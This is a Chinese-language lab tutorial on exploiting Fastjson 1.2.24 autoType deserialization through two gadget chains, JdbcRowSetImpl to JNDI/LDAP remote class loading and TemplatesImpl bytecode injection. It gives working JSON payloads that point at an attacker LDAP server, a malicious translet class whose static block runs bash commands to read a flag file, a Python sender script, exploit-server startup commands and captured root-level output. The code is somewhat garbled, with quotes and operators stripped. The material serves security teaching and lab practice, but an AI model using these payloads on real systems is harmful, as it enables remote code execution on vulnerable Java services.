
引子放行之后攻击者到底点了什么火02 篇讲的是能不能加载指定的类。但能加载只是第一步——真正让攻击成立的是某个类在被反序列化被实例化、被设置属性的过程中会顺带做出危险动作。这类能被外部摆弄出危险行为的普通类安全圈叫gadget利用链组件。它有点像合法的家用化学品单独放都无害但被按特定顺序、特定用量组合起来就能炸。Fastjson 的可怕之处在于它把选择化学品、并按顺序混合的权限交给了外部输入。本篇挑两条最有代表性、也最能帮助建立直觉的链JdbcRowSetImpl→ JNDI → RCE需要受害者能出网访问攻击者的 LDAP/HTTP 服务是现实中打外网、打能出网的机器的首选TemplatesImpl→ 定义并执行字节码不依赖任何网络直接在受害者 JVM 里defineClass是内网、不出网场景的代表。理解这两条链就能看懂 Fastjson、Log4j2 乃至几乎所有 Java 反序列化漏洞共享的公共出口——JNDI以及数据被当代码这一通用母题。真实攻防中攻击者往往先试 JNDI 类链省事、能外带数据打不动再退回本地执行链。本篇要点什么叫 gadget为什么普通类能变成武器JdbcRowSetImpl的哪个 setter 会触发 JNDI 查询完整因果是什么TemplatesImpl为什么能用一段 Base64 字节码执行命令SupportNonPublicField起什么作用为什么 payload 报错set property error时RCE 其实已经发生了怎么确认两条链在是否需要出网上的差异对实战意味着什么一、先补一块必读前置JNDI / RMI / LDAP 白话JdbcRowSetImpl链会用到 JNDI所以先把这块讲清楚不然后面只剩背 payload。JNDIJava Naming and Directory InterfaceJava 的统一查号台 / 通讯录。程序拿着一个名字去服务里查得到对应的对象或资源。常见前缀ldap://host:port/name到 LDAP 目录服务里查rmi://host:port/name到 RMI 注册中心查java:comp/env/...查本进程内的资源。一旦某个 Java 代码允许由外部输入决定 JNDI 的查询地址攻击者就能把自己的服务器填进去。查询过程大致是受害者程序 --(1) lookup(ldap://攻击者:1389/Exploit)-- 攻击者的 LDAP 服务 受害者程序 --(2) 返回一个引用(Reference)里面写着类从 http://攻击者:8888/ 下载-- 攻击者 受害者程序 --(3) 去 http://攻击者:8888/Exploit.class 下载并加载类-- 攻击者的 HTTP 服务 类被加载时执行 - RCEJava 说明InitialContextJNDI 的入口类new InitialContext()创建查询上下文。lookup(String name)按名字查对象的实例方法名字前缀决定协议ldap://、rmi://等。参数可控时即产生 JNDI 注入。ReferenceLDAP/RMI 服务返回的引用可声明javaCodebase去哪个地址下载类、javaFactory用哪个类当工厂。ObjectFactory一个接口其getObjectInstance(...)负责把引用还原成对象远程类被加载/实例化时会执行其静态代码块从而 RCE。这里有个现代必须先知道的事实JDK 从 8u191 / 11.0.1 起JNDI 远程加载 class 默认关闭com.sun.jndi.ldap.object.trustURLCodebasefalse。也就是说默认情况下第 (3) 步会被拦。只有显式把它打开误配置远程类加载才会发生。本靶场同时提供 JDK8 与 JDK17下面会实测这个边界。具体 JNDI 的完整攻防RMI/LDAP 协议细节、本地工厂 gadget 等会在 Log4j2 系列里继续展开这里先够用。二、链 AJdbcRowSetImpl→ JNDI → RCE1. 这个类是干嘛的com.sun.rowset.JdbcRowSetImpl是 JDK 自带的、实现RowSet接口的类用来把 JDBC 结果集包装成一个可滚动、可监听的对象。它本身不是攻击工具。2. 为什么它危险setAutoCommit会触发连接JdbcRowSetImpl内部保存了一个数据源名dataSourceName。当给它设置autoCommit属性时它会先确保建立连接而建立连接的代码会做 JNDI 查询// 简化后的逻辑 public void setAutoCommit(boolean autoCommit) throws SQLException { if (conn ! null) { ... } else { // 没连接就先连 connect(); // -- 这里 } ... } private void connect() throws SQLException { // 如果 dataSourceName 以 java: 开头走 JNDI // 否则把 dataSourceName 交给 InitialContext.lookup(...) InitialContext ctx new InitialContext(); DataSource ds (DataSource) ctx.lookup(getDataSourceName()); // -- JNDI 查询 ... }逐词拆解方法声明与调用public void setAutoCommit(boolean autoCommit)声明一个方法。public外部可调用void无返回值括号内是参数boolean autoCommit一个布尔型参数。throws SQLException声明该方法可能抛出SQLException异常。conn类里的一个字段保存数据库连接conn ! null表示已有连接。connect()调用本类的另一个方法。private void connect()private只能本类内部调用。InitialContext ctx new InitialContext();new创建 JNDI 上下文对象赋给变量ctx。ctx.lookup(getDataSourceName())调用ctx的lookup方法参数是getDataSourceName()读取dataSourceName字段的方法的返回值。(DataSource) ...强制类型转换把 lookup 结果当作DataSource使用。Fastjson 读到autoCommit: true就会调用这个 setter从而触发上面整条链。Java 说明setAutoCommit(boolean)是一个setterFastjson 解析到autoCommit: true时会调用它。该 setter 内部先执行connect()connect()通过new InitialContext().lookup(getDataSourceName())发起 JNDI 查询——危险动作藏在 setter 里。getDataSourceName()是读取dataSourceName字段的getter。(DataSource) ctx.lookup(...)是强制类型转换把查询结果当作DataSource使用类型不符就会抛ClassCastException。关键点dataSourceName是能从 JSON 里设置的属性autoCommit也是。于是{ type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://192.168.143.156:1389/cnExploit,dclab,dclocal, autoCommit: true }Fastjson 反序列化时type放行 → 实例化JdbcRowSetImpl设置dataSourceName→ 把攻击者的 LDAP 地址写进去设置autoCommittrue→ 触发connect()→InitialContext.lookup(ldap://攻击者/...)→ JNDI 注入。这就是反序列化 → JNDI → RCE的完整因果。3. 靶场实测ssh root192.168.143.156 # 登录实验机 cd /opt/jndi-server ./start.sh 192.168.143.156 # 启动 LDAP(1389)HTTP(8888) 利用服务 cd /opt/fastjson-lab ./start.sh 1.2.24 8 # 启动脆弱版本 1.2.24JDK8 Bhttp://127.0.0.1:8080 # 靶场本地地址 : /opt/jndi-server/callbacks.log; rm -f /tmp/fastjson-pwned.txt # 清空上一轮回调与落地文件便于观察本次 curl -s -G $B/parse --data-urlencode \ # 向 /parse 发送 JdbcRowSetImpl → JNDI 链 data{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.143.156:1389/cnExploit,dclab,dclocal,autoCommit:true}不依赖脚本的手动等价操作# 启动 JNDI 服务手动 cd /opt/jndi-server mvn -q -B package javac --release 8 -d payload payload/Exploit.java # 首次 nohup java -jar target/jndi-server.jar --host 192.168.143.156 \ --ldap-port 1389 --http-port 8888 --class payload/Exploit.class --classname Exploit \ jndi-server.log 21 # 启动 1.2.24 靶场手动 cd /opt/fastjson-lab /opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebasetrue \ -Dlab.cmdid /tmp/fastjson-pwned.txt 21; cat /flag-fastjson /tmp/fastjson-pwned.txt 21; echo FASTJSON-JNDI-RCE-OK /tmp/fastjson-pwned.txt \ -cp target/fastjson-lab.jar:lib/fastjson-1.2.24.jar \ com.lab.fastjson.FastjsonLab --port 8080 fastjson-lab.log 21 真实返回ERROR: com.alibaba.fastjson.JSONException: set property error, autoCommit别被这个报错吓到。报错发生在设置 autoCommit 之后JNDI 查询已经完成、类已经被加载执行只是随后这行当成真 JDBC 连接用的逻辑抛了异常。RCE 已经发生看证据cat /tmp/fastjson-pwned.txt # 查看远程类执行命令后的落地结果 # uid0(root) gid0(root) groups0(root) # nginx # flag{fastjson_autotype_rce_2026} # FASTJSON-JNDI-RCE-OK tail -1 /opt/jndi-server/callbacks.log # 查看 JNDI 服务侧回调确认受害者来下载了恶意类 # 2026-09-29 14:40:11 192.168.143.156 GET /Exploit.class UAJava/1.8.0_504 类被远程加载!回调日志证明受害者真的去攻击者的 HTTP 服务下载了Exploit.class并加载执行。本链验证结果版本JDK端点结果1.2.248/parseRCEJNDI 回调 /tmp/fastjson-pwned.txt含 flag4. 现代 JDK 的信任边界必看同样的 payload在不同 JDK 和不同配置下结果不同。靶场实测JDKtrustURLCodebase结果JDK8默认false被拦截JDK8开启true远程类加载 执行JDK17默认false被拦截JDK17开启true远程类加载 执行结论默认配置下现代 JDK 已经把这个 JNDI 远程类加载入口关掉了但只要有人为了兼容老业务加上-Dcom.sun.jndi.ldap.object.trustURLCodebasetrue风险立刻回来。这也解释了为什么升级 JDK 能缓解但不是根治——根治仍然是不让 autoType 加载任意类。三、链 BTemplatesImpl→ 定义并执行字节码不依赖网络JdbcRowSetImpl需要受害机能连到攻击者的 LDAP/HTTP 服务。有没有不需要任何网络依赖的链有TemplatesImpl就是代表。1. 这个类为什么危险com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是 Xalan XSLT 引擎里的类用于编译/管理 XSLT 模板。它的特殊之处在于它有一个私有字段_bytecodesbyte[][]存放编译后的模板类字节码当调用它的getOutputProperties()时会触发内部newTransformer()进而对_bytecodesdefineClass定义类并实例化。Java 说明_bytecodes是byte[][]二维字节数组存放要加载的类的字节码。getOutputProperties()是一个getter调用它会间接触发newTransformer()。newTransformer()内部对_bytecodes执行defineClass(...)把字节码定义成 JVM 里的新类并实例化。AbstractTransletTemplatesImpl 要求的父类恶意类必须extends AbstractTranslet才会被接受transform(...)是它要求实现的空方法。static { ... }是静态代码块类被加载时执行一次因此把命令写在这里类一加载就触发。Runtime.getRuntime().exec(new String[]{/bin/bash,-c, ...})启动外部进程执行命令-c后面是一整条命令串。Base64把二进制字节码编码成纯文本才能塞进 JSON 字符串。也就是说只要能把一段恶意字节码塞进_bytecodes并促使getOutputProperties()被调用这段字节码就会被 JVM 加载执行。2. 恶意字节码长什么样TemplatesImpl期望的字节码必须继承AbstractTranslet。下面是一个恶意子类在静态代码块里执行命令编译好的 class 会被 Base64 塞进 JSON// EvilTranslet.java用 JDK8 的 javac 编译 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class EvilTranslet extends AbstractTranslet { static { try { Runtime.getRuntime().exec(new String[]{/bin/bash,-c, id /tmp/tpl-pwned.txt; cat /flag-fastjson /tmp/tpl-pwned.txt; echo TEMPLATESIMPL-RCE-OK /tmp/tpl-pwned.txt}); } catch (Throwable ignored) {} } public EvilTranslet() { super(); } public void transform(DOM d, SerializationHandler[] h) throws TransletException {} public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {} }逐词拆解import ...引入其他包的类本文件后面才能直接用其类名。public class EvilTranslet extends AbstractTranslet定义一个类extends继承AbstractTransletTemplatesImpl 要求的父类。static { ... }静态代码块类被加载时执行一次命令就写在这里。try { ... } catch (Throwable ignored) {}异常处理try内出错由catch接住这里选择忽略避免中断。Runtime.getRuntime().exec(...)Runtime.getRuntime()取得运行环境对象exec(...)启动外部进程。new String[]{/bin/bash,-c,...}创建一个字符串数组作为命令参数等价于命令行执行bash -c 整条命令。public EvilTranslet() { super(); }构造器与类同名、无返回类型super()调用父类构造器。public void transform(...)父类要求实现的方法这里留空攻击不需要它做事。3. payload 为什么长这样{ type: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, _bytecodes: [EvilTranslet.class 的 Base64], _name: a, _tfactory: {}, _outputProperties: {} }逐段解释_bytecodes私有字段所以要 Fastjson 开启Feature.SupportNonPublicField才能写进去这就是靶场/parse-nonpublic、/parse-full端点的意义_name、_tfactoryTemplatesImpl内部逻辑需要它们非空_outputPropertiesFastjson 处理到这个属性时会去寻找对应的 getter从而触发getOutputProperties()——RCE 就在这里发生。Java 说明Feature.SupportNonPublicField是 Fastjson 的一个特性开关传给parseObject后允许把值写进private字段默认不允许以尊重封装。TemplatesImpl的_bytecodes是私有字段因此必须打开它。SupportNonPublicField打开后可利用面会显著扩大。4. 靶场实测cd /opt/fastjson-lab # 进入靶场 ./stop.sh; ./start.sh 1.2.24 8 # 结束旧进程并重启到 1.2.24JDK8 # 生成并 Base64 恶意 class靶场已放好源码与编译命令 cd payload /opt/jdk8/bin/javac EvilTranslet.java # 用 JDK8 的 javac 编译恶意 translet # 构造并发送 payload cd .. # 回到靶场目录 python3 - PY # 运行内联 Python读 class → Base64 → 拼 payload → 发请求 import base64, urllib.parse, urllib.request # 标准库编码与 HTTP 请求 b64 base64.b64encode(open(payload/EvilTranslet.class,rb).read()).decode() # 读取编译好的 class 并做 Base64 payload ({type:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, _bytecodes:[%s],_name:a,_tfactory:{},_outputProperties:{}} % b64) # 拼出 TemplatesImpl payload url http://127.0.0.1:8080/parse-nonpublic? urllib.parse.urlencode({data:payload}) # 目标端点 /parse-nonpublic print(urllib.request.urlopen(url, timeout5).read().decode()) # 发送请求并打印返回 PY不依赖脚本的手动等价操作pkill -f com.lab.fastjson.FastjsonLab; sleep 1 # 停掉旧实例 cd /opt/fastjson-lab /opt/jdk8/bin/java -Dcom.sun.jndi.ldap.object.trustURLCodebasetrue \ -cp target/fastjson-lab.jar:lib/fastjson-1.2.24.jar \ com.lab.fastjson.FastjsonLab --port 8080 fastjson-lab.log 21 # 启动 1.2.24 cd payload /opt/jdk8/bin/javac EvilTranslet.java # 用 JDK8 编译恶意 translet # 之后按下面的 Python 片段做 Base64 并发送不再依赖任何脚本实测返回与证据ERROR: com.alibaba.fastjson.JSONException: set property error, outputProperties $ cat /tmp/tpl-pwned.txt uid0(root) gid0(root) groups0(root) nginx flag{fastjson_autotype_rce_2026} TEMPLATESIMPL-RCE-OK注意这条链不需要 JNDI、不需要外网、不需要加载远程类是纯粹的反序列化 → defineClass → 执行。所以即便把 JNDI 关了、JDK 升到最新只要 autoType 还能加载TemplatesImpl它依然可能打穿。本链验证结果版本JDK端点结果1.2.248/parse-nonpublicSupportNonPublicFieldRCE/tmp/tpl-pwned.txt含 flag四、两条链怎么选链依赖触发条件现代受阻情况JdbcRowSetImpl→ JNDI受害机能访问攻击者 LDAP/HTTPsetAutoCommit触发 lookupJNDI 远程类加载默认关闭出网受限时打不通TemplatesImpl无需网络SupportNonPublicField 触发 getterJDK17 强封装下需额外--add-opens仍是高危链现实进攻里通常首选 JNDI 类链省事、可外带数据内网不出网时才考虑TemplatesImpl这类本地执行链。这也是 Log4j2 与 Fastjson 都会用到 JNDI 的原因——JNDI 是很多 Java 反序列化漏洞的公共出口。五、自测题用因果链描述JdbcRowSetImplpayload 是怎么一步步变成命令执行的从type到lookup。为什么 payload 执行成功返回值却是set property error, autoCommit如何确认 RCE 真的发生了TemplatesImpl链为什么需要Feature.SupportNonPublicField_outputProperties起什么作用为什么升级 JDK只能缓解 JNDI 类链却不能根治 Fastjson 漏洞两条链在是否需要出网上的区别对真实攻防意味着什么